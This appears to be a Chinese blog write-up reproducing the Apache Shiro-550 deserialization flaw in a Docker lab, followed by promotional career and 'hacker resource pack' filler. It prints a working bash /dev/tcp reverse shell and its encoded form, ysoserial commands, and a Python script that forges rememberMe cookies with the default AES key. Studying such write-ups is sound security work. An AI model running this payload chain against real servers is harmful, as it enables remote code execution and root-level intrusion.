前言
最近一直在整理笔记,恰好碰到实习时遇到的 Shiro 反序列化漏洞,本着温故而知新的思想,就照着前辈们的文章好好研究了下,整理整理笔记并发个文章。
1、Apache Shiro 介绍
Apache Shiro 是一个强大且易用的 Java 安全框架,执行身份验证、授权、密码和会话管理。使用 Shiro 易于理解的 API,开发者可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
2、Shiro rememberMe 反序列化漏洞(Shiro-550)
2.1 受影响版本
Apache Shiro <=1.2.4
2.2 特征判断
返回包中含有 rememberMe=deleteMe 字段
2.3 漏洞原理
在 Shiro <= 1.2.4 中,反序列化过程中所用到的 AES 加密的 key 是硬编码在源码中,当用户勾选 RememberMe 并登录成功,Shiro 会将用户的 cookie 值序列化,AES 加密,接着 base64 编码后存储在 cookie 的 rememberMe 字段中,服务端收到登录请求后,会对 rememberMe 的 cookie 值进行 base64 解码,接着进行 AES 解密,然后反序列化。由于 AES 加密是对称式加密(key 既能加密数据也能解密数据),所以当攻击者知道了 AES key 后,就能够构造恶意的 rememberMe cookie 值从而触发反序列化漏洞。
3、漏洞复现
3.1 环境搭建
//获取 docker 镜像
docker pull medicean/vulapps:s_shiro_1
//启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
3.2 工具准备
3.2.1 配置 maven
1、下载 maven
http://maven.apache.org/download.cgi
2、配置 win10 maven 环境变量以及 idea maven 环境
https://zhuanlan.zhihu.com/p/48831465
3.2.2 下载 ysoserial 工具并打包
下载地址:https://github.com/frohoff/ysoserial
打包完的 ysoserial 在 ysoserial/target 文件中
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests
PS:终于打包完了,没想到 Maven 源换成了阿里云的速度还是有点慢。
3.3 漏洞检测
这里使用 shiro_tool.jar 工具检测 Shiro 是否存在默认的 key,
java -jar shiro_tool.jar http://192.168.31.81:8080/
3.4 漏洞利用
3.4.1 方式一:nc 反弹 shell
1、制作反弹 shell 代码
首先,在 kali 中通过 nc 监听本地端口,
nc -lvp 4444
接着利用 Java Runtime 配合 bash 编码,
bash -i >& /dev/tcp/192.168.31.81/4444 0>&1
结果:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
2、通过 ysoserial 工具中的 JRMP 监听模块,监听 6666 端口并执行反弹 shell 命令,
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
3、利用检测出的 AES 密钥,生成 payload
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == 'main':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
Python2 用 pip 安装 Crypto 的过程中,出现了各种问题,最主要的问题就是各种报缺少 Crypto.Cipher 模块的错误,Google 百度网上找了一大堆,疯狂 pip 安装卸载,都无法解决,后来索性采取了手动安装 Crypto 模块,最后终于解决。
问题一:ImportError: No module named Crypto.Cipher
——>手动下载 Crypto 包进行安装
下载地址:https://pypi.org/simple/pycrypto/
问题二:error: command ‘x86_64-linux-gnu-gcc‘ failed with exit status 1
——>安装依赖库解决:
apt-get install build-essential python-dev libssl-dev libffi-dev libxml2 libxml2-dev libxslt1-dev zlib1g-dev
使用test_shiro550.py
,生成 payload
python test_shiro550.py 192.168.31.81:6666
4、利用生成的rememberMe
值构造数据包,伪造 cookie,发送请求。
5、查看 nc 监听结果,反弹 shell 成功。
nc 成功反弹 shell,whoami 命令查询为 root 权限。
3.4.2 方式二:命令执行
1、使用 ysoserial 工具生成 poc
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS" > poc
复制代码
2、使用 Shiro 默认 AES Key 对 payload 进行加密
3、brupsuite 抓包,发送带有伪造的 rememberMe Cookie 的请求。
4、查看目标服务器的/tmp 目录,确认生成了 SUCCESS 文件。
5、总结
Shiro-550 漏洞产生的根本原因就是因为 AES 加密的 key 硬编码在源码中,从而可以被攻击者利用泄露的 AES key 伪造 rememberMe 字段生成 cookie 值,导致反序列化漏洞。因此,服务器端对 cookie 值的处理过程反过来就是 payload 的产生过程:命令=>进行序列化=>AES 加密=>base64 编码=>产生 RememberMe Cookie 值。
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
-
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
-
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
👉嘿客必备开发工具👈
工欲善其事必先利其器。学习嘿客常用的开发软件都在这里了,给大家节省了很多时间。